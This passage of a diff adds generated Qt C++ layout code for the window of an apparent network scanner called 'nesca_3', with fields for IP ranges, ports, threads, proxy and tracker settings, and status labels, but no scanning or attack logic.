labelIPThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPTO = new QLabel(tab_4); + labelIPTO->setObjectName(QStringLiteral("labelIPTO")); + labelIPTO->setGeometry(QRect(220, 80, 46, 20)); + labelIPTO->setFont(font4); + labelIPTO->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + iptoLine_value = new QLineEdit(tab_4); + iptoLine_value->setObjectName(QStringLiteral("iptoLine_value")); + iptoLine_value->setGeometry(QRect(280, 80, 51, 20)); + iptoLine_value->setFont(font2); + iptoLine_value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + iptoLine_value->setMaxLength(3); + iptoLine_value->setAlignment(Qt::AlignCenter); + restoreDefaultPorts1 = new QPushButton(tab_4); + restoreDefaultPorts1->setObjectName(QStringLiteral("restoreDefaultPorts1")); + restoreDefaultPorts1->setGeometry(QRect(337, 52, 67, 16)); + restoreDefaultPorts1->setFont(font3); + restoreDefaultPorts1->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + tabMainWidget->addTab(tab_4, QString()); + tab_5 = new QWidget(); + tab_5->setObjectName(QStringLiteral("tab_5")); + lineEditStartIPDNS = new QLineEdit(tab_5); + lineEditStartIPDNS->setObjectName(QStringLiteral("lineEditStartIPDNS")); + lineEditStartIPDNS->setGeometry(QRect(110, 20, 221, 20)); + lineEditStartIPDNS->setFont(font2); + lineEditStartIPDNS->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + lineEditStartIPDNS->setMaxLength(128); + lineEditStartIPDNS->setAlignment(Qt::AlignCenter); + startScanButton_4 = new QPushButton(tab_5); + startScanButton_4->setObjectName(QStringLiteral("startScanButton_4")); + startScanButton_4->setGeometry(QRect(190, 110, 75, 23)); + startScanButton_4->setFont(font1); + startScanButton_4->setStyleSheet(QStringLiteral("")); + lineILVL = new QLineEdit(tab_5); + lineILVL->setObjectName(QStringLiteral("lineILVL")); + lineILVL->setGeometry(QRect(340, 20, 71, 20)); + lineILVL->setFont(font2); + lineILVL->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + lineILVL->setMaxLength(128); + lineILVL->setAlignment(Qt::AlignCenter); + lineEditPort = new QLineEdit(tab_5); + lineEditPort->setObjectName(QStringLiteral("lineEditPort")); + lineEditPort->setGeometry(QRect(110, 50, 221, 20)); + lineEditPort->setFont(font3); + lineEditPort->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + lineEditPort->setMaxLength(4096); + lineEditThread = new QLineEdit(tab_5); + lineEditThread->setObjectName(QStringLiteral("lineEditThread")); + lineEditThread->setGeometry(QRect(110, 80, 51, 20)); + lineEditThread->setFont(font2); + lineEditThread->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + lineEditThread->setMaxLength(3); + lineEditThread->setAlignment(Qt::AlignCenter); + labelDNSRange = new QLabel(tab_5); + labelDNSRange->setObjectName(QStringLiteral("labelDNSRange")); + labelDNSRange->setGeometry(QRect(30, 20, 61, 20)); + labelDNSRange->setFont(font4); + labelDNSRange->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelDNSPorts = new QLabel(tab_5); + labelDNSPorts->setObjectName(QStringLiteral("labelDNSPorts")); + labelDNSPorts->setGeometry(QRect(54, 50, 34, 20)); + labelDNSPorts->setFont(font4); + labelDNSPorts->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelDNSThreads = new QLabel(tab_5); + labelDNSThreads->setObjectName(QStringLiteral("labelDNSThreads")); + labelDNSThreads->setGeometry(QRect(40, 80, 61, 20)); + labelDNSThreads->setFont(font4); + labelDNSThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPTO_2 = new QLabel(tab_5); + labelIPTO_2->setObjectName(QStringLiteral("labelIPTO_2")); + labelIPTO_2->setGeometry(QRect(220, 80, 46, 20)); + labelIPTO_2->setFont(font4); + labelIPTO_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + iptoLine_value_2 = new QLineEdit(tab_5); + iptoLine_value_2->setObjectName(QStringLiteral("iptoLine_value_2")); + iptoLine_value_2->setGeometry(QRect(280, 80, 51, 20)); + iptoLine_value_2->setFont(font2); + iptoLine_value_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + iptoLine_value_2->setMaxLength(3); + iptoLine_value_2->setAlignment(Qt::AlignCenter); + restoreDefaultPorts2 = new QPushButton(tab_5); + restoreDefaultPorts2->setObjectName(QStringLiteral("restoreDefaultPorts2")); + restoreDefaultPorts2->setGeometry(QRect(337, 52, 67, 16)); + restoreDefaultPorts2->setFont(font3); + restoreDefaultPorts2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + tabMainWidget->addTab(tab_5, QString()); + tab_6 = new QWidget(); + tab_6->setObjectName(QStringLiteral("tab_6")); + importButton = new QPushButton(tab_6); + importButton->setObjectName(QStringLiteral("importButton")); + importButton->setGeometry(QRect(190, 110, 75, 23)); + importButton->setFont(font3); + importButton->setStyleSheet(QStringLiteral("")); + labelIpRange_9 = new QLabel(tab_6); + labelIpRange_9->setObjectName(QStringLiteral("labelIpRange_9")); + labelIpRange_9->setGeometry(QRect(110, 0, 253, 37)); + labelIpRange_9->setFont(font4); + labelIpRange_9->setStyleSheet(QLatin1String("background-color: rgba(2, 2, 2, 0);\n" +"color: rgb(214, 214, 0);")); + importThreads = new QLineEdit(tab_6); + importThreads->setObjectName(QStringLiteral("importThreads")); + importThreads->setGeometry(QRect(110, 80, 51, 20)); + importThreads->setFont(font2); + importThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + importThreads->setMaxLength(3); + importThreads->setAlignment(Qt::AlignCenter); + importPorts = new QLineEdit(tab_6); + importPorts->setObjectName(QStringLiteral("importPorts")); + importPorts->setGeometry(QRect(110, 50, 221, 20)); + importPorts->setFont(font3); + importPorts->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);")); + labelDNSThreads_2 = new QLabel(tab_6); + labelDNSThreads_2->setObjectName(QStringLiteral("labelDNSThreads_2")); + labelDNSThreads_2->setGeometry(QRect(40, 80, 61, 20)); + labelDNSThreads_2->setFont(font4); + labelDNSThreads_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelDNSPorts_2 = new QLabel(tab_6); + labelDNSPorts_2->setObjectName(QStringLiteral("labelDNSPorts_2")); + labelDNSPorts_2->setGeometry(QRect(54, 50, 33, 20)); + labelDNSPorts_2->setFont(font4); + labelDNSPorts_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPTO_3 = new QLabel(tab_6); + labelIPTO_3->setObjectName(QStringLiteral("labelIPTO_3")); + labelIPTO_3->setGeometry(QRect(220, 80, 46, 20)); + labelIPTO_3->setFont(font4); + labelIPTO_3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + iptoLine_value_3 = new QLineEdit(tab_6); + iptoLine_value_3->setObjectName(QStringLiteral("iptoLine_value_3")); + iptoLine_value_3->setGeometry(QRect(280, 80, 51, 20)); + iptoLine_value_3->setFont(font2); + iptoLine_value_3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + iptoLine_value_3->setMaxLength(3); + iptoLine_value_3->setAlignment(Qt::AlignCenter); + restoreDefaultPorts3 = new QPushButton(tab_6); + restoreDefaultPorts3->setObjectName(QStringLiteral("restoreDefaultPorts3")); + restoreDefaultPorts3->setGeometry(QRect(337, 52, 67, 16)); + restoreDefaultPorts3->setFont(font3); + restoreDefaultPorts3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + pbgv = new QGraphicsView(tab_6); + pbgv->setObjectName(QStringLiteral("pbgv")); + pbgv->setGeometry(QRect(437, 20, 26, 102)); + pbgv->setStyleSheet(QLatin1String("background-color:rgb(38, 38, 38);\n" +"border: 1px solid rgb(227, 227, 227);\n" +"border-radius: 3px;")); + pbgv->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + pbgv->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + tabMainWidget->addTab(tab_6, QString()); + tab = new QWidget(); + tab->setObjectName(QStringLiteral("tab")); + trackerOnOff = new QCheckBox(tab); + trackerOnOff->setObjectName(QStringLiteral("trackerOnOff")); + trackerOnOff->setGeometry(QRect(30, 120, 281, 17)); + trackerOnOff->setFont(font1); + trackerOnOff->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + trackerOnOff->setChecked(true); + lineTrackerScr = new QLineEdit(tab); + lineTrackerScr->setObjectName(QStringLiteral("lineTrackerScr")); + lineTrackerScr->setGeometry(QRect(250, 2, 121, 16)); + lineTrackerScr->setFont(font3); + lineTrackerScr->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + lineTrackerScr->setMaxLength(256); + lineTrackerScr->setAlignment(Qt::AlignCenter); + lineTrackerSrv = new QLineEdit(tab); + lineTrackerSrv->setObjectName(QStringLiteral("lineTrackerSrv")); + lineTrackerSrv->setGeometry(QRect(30, 2, 211, 16)); + lineTrackerSrv->setFont(font3); + lineTrackerSrv->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + lineTrackerSrv->setMaxLength(256); + lineTrackerSrv->setAlignment(Qt::AlignCenter); + linePersKey = new QLineEdit(tab); + linePersKey->setObjectName(QStringLiteral("linePersKey")); + linePersKey->setGeometry(QRect(30, 22, 341, 12)); + linePersKey->setFont(font3); + linePersKey->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); border:none;")); + linePersKey->setMaxLength(32); + linePersKey->setAlignment(Qt::AlignCenter); + trcSrvPortLine = new QLineEdit(tab); + trcSrvPortLine->setObjectName(QStringLiteral("trcSrvPortLine")); + trcSrvPortLine->setGeometry(QRect(379, 2, 62, 16)); + trcSrvPortLine->setFont(font3); + trcSrvPortLine->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + trcSrvPortLine->setMaxLength(5); + trcSrvPortLine->setAlignment(Qt::AlignCenter); + checkKeyBut = new QPushButton(tab); + checkKeyBut->setObjectName(QStringLiteral("checkKeyBut")); + checkKeyBut->setGeometry(QRect(379, 18, 61, 16)); + checkKeyBut->setFont(font3); + checkKeyBut->setStyleSheet(QStringLiteral("")); + pingingOnOff = new QCheckBox(tab); + pingingOnOff->setObjectName(QStringLiteral("pingingOnOff")); + pingingOnOff->setGeometry(QRect(30, 84, 75, 17)); + pingingOnOff->setFont(font3); + pingingOnOff->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + pingingOnOff->setChecked(false); + PingTO = new QLineEdit(tab); + PingTO->setObjectName(QStringLiteral("PingTO")); + PingTO->setEnabled(false); + PingTO->setGeometry(QRect(108, 86, 51, 15)); + PingTO->setFont(font1); + PingTO->setStyleSheet(QStringLiteral("color: rgb(116, 116, 116);background-color: rgb(56, 56, 56);border:none;")); + PingTO->setMaxLength(5); + PingTO->setAlignment(Qt::AlignCenter); + label = new QLabel(tab); + label->setObjectName(QStringLiteral("label")); + label->setGeometry(QRect(163, 85, 31, 16)); + label->setFont(font1); + label->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + threadDelayBox = new QLineEdit(tab); + threadDelayBox->setObjectName(QStringLiteral("threadDelayBox")); + threadDelayBox->setEnabled(true); + threadDelayBox->setGeometry(QRect(390, 69, 51, 20)); + threadDelayBox->setFont(font1); + threadDelayBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + threadDelayBox->setMaxLength(5); + threadDelayBox->setAlignment(Qt::AlignCenter); + label_2 = new QLabel(tab); + label_2->setObjectName(QStringLiteral("label_2")); + label_2->setGeometry(QRect(320, 69, 68, 16)); + label_2->setFont(font3); + label_2->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + MaxBrutingThrLabel = new QLabel(tab); + MaxBrutingThrLabel->setObjectName(QStringLiteral("MaxBrutingThrLabel")); + MaxBrutingThrLabel->setGeometry(QRect(320, 84, 62, 26)); + QFont font5; + font5.setFamily(QStringLiteral("Eurostile")); + font5.setPointSize(7); + MaxBrutingThrLabel->setFont(font5); + MaxBrutingThrLabel->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + maxBrutingThrBox = new QLineEdit(tab); + maxBrutingThrBox->setObjectName(QStringLiteral("maxBrutingThrBox")); + maxBrutingThrBox->setEnabled(true); + maxBrutingThrBox->setGeometry(QRect(390, 90, 51, 20)); + maxBrutingThrBox->setFont(font1); + maxBrutingThrBox->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + maxBrutingThrBox->setMaxLength(3); + maxBrutingThrBox->setAlignment(Qt::AlignCenter); + shuffle_onoff = new QCheckBox(tab); + shuffle_onoff->setObjectName(QStringLiteral("shuffle_onoff")); + shuffle_onoff->setGeometry(QRect(30, 68, 161, 17)); + shuffle_onoff->setFont(font1); + shuffle_onoff->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + shuffle_onoff->setChecked(true); + systemProxyIP = new QLineEdit(tab); + systemProxyIP->setObjectName(QStringLiteral("systemProxyIP")); + systemProxyIP->setGeometry(QRect(30, 38, 341, 12)); + systemProxyIP->setFont(font3); + systemProxyIP->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); border:none;")); + systemProxyIP->setMaxLength(32); + systemProxyIP->setAlignment(Qt::AlignCenter); + systemProxyPort = new QLineEdit(tab); + systemProxyPort->setObjectName(QStringLiteral("systemProxyPort")); + systemProxyPort->setGeometry(QRect(379, 38, 62, 12)); + systemProxyPort->setFont(font3); + systemProxyPort->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;")); + systemProxyPort->setMaxLength(5); + systemProxyPort->setAlignment(Qt::AlignCenter); + tabMainWidget->addTab(tab, QString()); + labelNesca_3 = new QLabel(widget); + labelNesca_3->setObjectName(QStringLiteral("labelNesca_3")); + labelNesca_3->setGeometry(QRect(95, 10, 306, 20)); + QFont font6; + font6.setFamily(QStringLiteral("Eurostile")); + font6.setPointSize(9); + font6.setBold(true); + font6.setUnderline(false); + font6.setWeight(75); + labelNesca_3->setFont(font6); + labelNesca_3->setMouseTracking(true); + labelNesca_3->setAcceptDrops(true); + labelNesca_3->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelNesca_3->setTextFormat(Qt::PlainText); + labelNesca_3->setAlignment(Qt::AlignCenter); + labelNesca_3->setOpenExternalLinks(true); + line = new QFrame(widget); + line->setObjectName(QStringLiteral("line")); + line->setWindowModality(Qt::NonModal); + line->setGeometry(QRect(10, 30, 480, 16)); + line->setAutoFillBackground(false); + line->setStyleSheet(QStringLiteral("color: white;background-color: rgba(2, 2, 2, 0);")); + line->setFrameShadow(QFrame::Plain); + line->setFrameShape(QFrame::HLine); + exitButton = new QPushButton(widget); + exitButton->setObjectName(QStringLiteral("exitButton")); + exitButton->setGeometry(QRect(470, 10, 10, 20)); + exitButton->setStyleSheet(QStringLiteral("background-color: rgba(0, 0, 0, 0);")); + labelIpRange = new QLabel(widget); + labelIpRange->setObjectName(QStringLiteral("labelIpRange")); + labelIpRange->setGeometry(QRect(20, 230, 61, 20)); + labelIpRange->setFont(font4); + labelIpRange->setLayoutDirection(Qt::LeftToRight); + labelIpRange->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelThreads = new QLabel(widget); + labelThreads->setObjectName(QStringLiteral("labelThreads")); + labelThreads->setGeometry(QRect(20, 260, 61, 20)); + QFont font7; + font7.setFamily(QStringLiteral("Eurostile")); + font7.setPointSize(8); + font7.setKerning(false); + labelThreads->setFont(font7); + labelThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelBaThreads = new QLabel(widget); + labelBaThreads->setObjectName(QStringLiteral("labelBaThreads")); + labelBaThreads->setGeometry(QRect(20, 290, 71, 20)); + labelBaThreads->setFont(font3); + labelBaThreads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIpRange_Value = new QLabel(widget); + labelIpRange_Value->setObjectName(QStringLiteral("labelIpRange_Value")); + labelIpRange_Value->setGeometry(QRect(100, 230, 331, 20)); + QSizePolicy sizePolicy(QSizePolicy::Preferred, QSizePolicy::Preferred); + sizePolicy.setHorizontalStretch(0); + sizePolicy.setVerticalStretch(0); + sizePolicy.setHeightForWidth(labelIpRange_Value->sizePolicy().hasHeightForWidth()); + labelIpRange_Value->setSizePolicy(sizePolicy); + labelIpRange_Value->setFont(font3); + labelIpRange_Value->setAutoFillBackground(false); + labelIpRange_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelThreads_Value = new QLabel(widget); + labelThreads_Value->setObjectName(QStringLiteral("labelThreads_Value")); + labelThreads_Value->setGeometry(QRect(100, 260, 81, 20)); + labelThreads_Value->setFont(font3); + labelThreads_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);")); + labelBAThreads_Value = new QLabel(widget); + labelBAThreads_Value->setObjectName(QStringLiteral("labelBAThreads_Value")); + labelBAThreads_Value->setGeometry(QRect(100, 290, 61, 20)); + labelBAThreads_Value->setFont(font3); + labelBAThreads_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPS = new QLabel(widget); + labelIPS->setObjectName(QStringLiteral("labelIPS")); + labelIPS->setGeometry(QRect(20, 350, 61, 20)); + labelIPS->setFont(font3); + labelIPS->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelIPS_Value = new QLabel(widget); + labelIPS_Value->setObjectName(QStringLiteral("labelIPS_Value")); + labelIPS_Value->setGeometry(QRect(100, 350, 106, 20)); + labelIPS_Value->setFont(font3); + labelIPS_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + dataText = new QTextBrowser(widget); + dataText->setObjectName(QStringLiteral("dataText")); + dataText->setGeometry(QRect(20, 445, 453, 326)); + QFont font8; + font8.setFamily(QStringLiteral("Eurostile")); + font8.setPointSize(8); + font8.setBold(false); + font8.setUnderline(false); + font8.setWeight(50); + dataText->setFont(font8); + dataText->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26); border: 1px solid white;")); + dataText->setLocale(QLocale(QLocale::Japanese, QLocale::Japan)); + dataText->setFrameShape(QFrame::NoFrame); + dataText->setFrameShadow(QFrame::Plain); + dataText->setSizeAdjustPolicy(QAbstractScrollArea::AdjustIgnored); + dataText->setUndoRedoEnabled(false); + dataText->setLineWrapMode(QTextEdit::NoWrap); + dataText->setReadOnly(true); + dataText->setCursorWidth(5); + dataText->setTextInteractionFlags(Qt::TextBrowserInteraction); + dataText->setOpenExternalLinks(true); + dataText->setOpenLinks(false); + labelParsed = new QLabel(widget); + labelParsed->setObjectName(QStringLiteral("labelParsed")); + labelParsed->setGeometry(QRect(20, 375, 73, 20)); + sizePolicy.setHeightForWidth(labelParsed->sizePolicy().hasHeightForWidth()); + labelParsed->setSizePolicy(sizePolicy); + labelParsed->setMinimumSize(QSize(0, 0)); + labelParsed->setFont(font3); + labelParsed->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelParsed->setLineWidth(1); + labelParsed->setWordWrap(false); + labelParsed_Value = new QLabel(widget); + labelParsed_Value->setObjectName(QStringLiteral("labelParsed_Value")); + labelParsed_Value->setGeometry(QRect(100, 375, 108, 20)); + labelParsed_Value->setFont(font3); + labelParsed_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelStatus = new QLabel(widget); + labelStatus->setObjectName(QStringLiteral("labelStatus")); + labelStatus->setGeometry(QRect(11, 783, 41, 10)); + sizePolicy.setHeightForWidth(labelStatus->sizePolicy().hasHeightForWidth()); + labelStatus->setSizePolicy(sizePolicy); + labelStatus->setMinimumSize(QSize(0, 0)); + labelStatus->setFont(font3); + labelStatus->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelStatus->setLineWidth(1); + labelStatus->setWordWrap(false); + labelStatus_Value = new QLabel(widget); + labelStatus_Value->setObjectName(QStringLiteral("labelStatus_Value")); + labelStatus_Value->setGeometry(QRect(51, 783, 101, 10)); + labelStatus_Value->setFont(font3); + labelStatus_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelTargetsLeft = new QLabel(widget); + labelTargetsLeft->setObjectName(QStringLiteral("labelTargetsLeft")); + labelTargetsLeft->setGeometry(QRect(20, 320, 61, 20)); + labelTargetsLeft->setFont(font3); + labelTargetsLeft->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelTargetsLeft_Value = new QLabel(widget); + labelTargetsLeft_Value->setObjectName(QStringLiteral("labelTargetsLeft_Value")); + labelTargetsLeft_Value->setGeometry(QRect(100, 320, 114, 20)); + labelTargetsLeft_Value->setFont(font3); + labelTargetsLeft_Value->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + line_2 = new QFrame(widget); + line_2->setObjectName(QStringLiteral("line_2")); + line_2->setWindowModality(Qt::NonModal); + line_2->setGeometry(QRect(10, 210, 480, 16)); + line_2->setAutoFillBackground(false); + line_2->setStyleSheet(QStringLiteral("color: white;background-color: rgba(2, 2, 2, 0);")); + line_2->setFrameShadow(QFrame::Plain); + line_2->setFrameShape(QFrame::HLine); + graphicLog = new QGraphicsView(widget); + graphicLog->setObjectName(QStringLiteral("graphicLog")); + graphicLog->setGeometry(QRect(220, 265, 270, 100)); + graphicLog->setStyleSheet(QStringLiteral("background-color: rgb(26, 26,26); border: 1px solid white;")); + graphicLog->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + RedLabel = new QLabel(widget); + RedLabel->setObjectName(QStringLiteral("RedLabel")); + RedLabel->setEnabled(true); + RedLabel->setGeometry(QRect(235, 370, 8, 5)); + RedLabel->setStyleSheet(QStringLiteral("background-color: red; visible: false;")); + YellowLabel = new QLabel(widget); + YellowLabel->setObjectName(QStringLiteral("YellowLabel")); + YellowLabel->setGeometry(QRect(235, 400, 8, 5)); + YellowLabel->setStyleSheet(QStringLiteral("background-color: #52b4e5;")); + GreenLabel = new QLabel(widget); + GreenLabel->setObjectName(QStringLiteral("GreenLabel")); + GreenLabel->setGeometry(QRect(370, 370, 8, 5)); + GreenLabel->setStyleSheet(QStringLiteral("background-color: green;")); + BlueLabel = new QLabel(widget); + BlueLabel->setObjectName(QStringLiteral("BlueLabel")); + BlueLabel->setGeometry(QRect(235, 385, 8, 5)); + BlueLabel->setStyleSheet(QStringLiteral("background-color: blue;")); + CyanLabel = new QLabel(widget); + CyanLabel->setObjectName(QStringLiteral("CyanLabel")); + CyanLabel->setGeometry(QRect(370, 385, 8, 5)); + CyanLabel->setStyleSheet(QStringLiteral("background-color: rgb(255, 85, 0);")); + PinkLabel = new QLabel(widget); + PinkLabel->setObjectName(QStringLiteral("PinkLabel")); + PinkLabel->setGeometry(QRect(370, 400, 8, 5)); + PinkLabel->setStyleSheet(QStringLiteral("background-color: violet;")); + labelAnomaly = new QLabel(widget); + labelAnomaly->setObjectName(QStringLiteral("labelAnomaly")); + labelAnomaly->setGeometry(QRect(250, 368, 91, 8)); + labelAnomaly->setFont(font4); + labelAnomaly->setLayoutDirection(Qt::RightToLeft); + labelAnomaly->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelAnomaly->setTextFormat(Qt::AutoText); + labelAnomaly->setAlignment(Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter); + labelBA = new QLabel(widget); + labelBA->setObjectName(QStringLiteral("labelBA")); + labelBA->setGeometry(QRect(250, 383, 61, 8)); + labelBA->setFont(font4); + labelBA->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelFiltered = new QLabel(widget); + labelFiltered->setObjectName(QStringLiteral("labelFiltered")); + labelFiltered->setGeometry(QRect(385, 383, 51, 8)); + labelFiltered->setFont(font4); + labelFiltered->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelBads = new QLabel(widget); + labelBads->setObjectName(QStringLiteral("labelBads")); + labelBads->setGeometry(QRect(385, 368, 91, 8)); + labelBads->setFont(font4); + labelBads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelOverloads = new QLabel(widget); + labelOverloads->setObjectName(QStringLiteral("labelOverloads")); + labelOverloads->setGeometry(QRect(250, 398, 51, 8)); + labelOverloads->setFont(font4); + labelOverloads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + labelLowloads = new QLabel(widget); + labelLowloads->setObjectName(QStringLiteral("labelLowloads")); + labelLowloads->setGeometry(QRect(385, 398, 61, 8)); + labelLowloads->setFont(font4); + labelLowloads->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + logoLabel = new QPushButton(widget); + logoLabel->setObjectName(QStringLiteral("logoLabel")); + logoLabel->setGeometry(QRect(11, 10, 21, 20)); + logoLabel->setStyleSheet(QStringLiteral("border:none; background-color:black;")); + QIcon icon1; + icon1.addFile(QStringLiteral(":/nesca_3/nesca.ico"), QSize(), QIcon::Normal, QIcon::Off); + logoLabel->setIcon(icon1); + WhiteLabel = new QLabel(widget); + WhiteLabel->setObjectName(QStringLiteral("WhiteLabel")); + WhiteLabel->setGeometry(QRect(370, 415, 8, 5)); + WhiteLabel->setStyleSheet(QStringLiteral("background-color: white;")); + labelAlives = new QLabel(widget); + labelAlives->setObjectName(QStringLiteral("labelAlives")); + labelAlives->setGeometry(QRect(385, 413, 61, 8)); + labelAlives->setFont(font4); + labelAlives->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);")); + graphicLog_2 = new QGraphicsView(widget); + graphicLog_2->setObjectName(QStringLiteral("graphicLog_2")); + graphicLog_2->setGeometry(QRect(220, 265, 270, 100)); + graphicLog_2->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicLog_2->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_2->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_2->setRenderHints(QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing); + graphicLog_2->setCacheMode(QGraphicsView::CacheNone); + me2ScanBut = new QPushButton(widget); + me2ScanBut->setObjectName(QStringLiteral("me2ScanBut")); + me2ScanBut->setGeometry(QRect(220, 253, 60, 10)); + QFont font9; + font9.setPointSize(7); + me2ScanBut->setFont(font9); + me2ScanBut->setStyleSheet(QStringLiteral("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);")); + QoSScanBut = new QPushButton(widget); + QoSScanBut->setObjectName(QStringLiteral("QoSScanBut")); + QoSScanBut->setGeometry(QRect(281, 253, 60, 10)); + QoSScanBut->setFont(font9); + QoSScanBut->setStyleSheet(QStringLiteral("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);")); + graphicDelim = new QGraphicsView(widget); + graphicDelim->setObjectName(QStringLiteral("graphicDelim")); + graphicDelim->setGeometry(QRect(220, 265, 270, 100)); + graphicDelim->setStyleSheet(QStringLiteral("border:none;background-color: rgba(26, 26,26, 0);")); + graphicDelim->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicDelim->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + graphicLog_Upper = new QGraphicsView(widget); + graphicLog_Upper->setObjectName(QStringLiteral("graphicLog_Upper")); + graphicLog_Upper->setGeometry(QRect(220, 265, 270, 100)); + 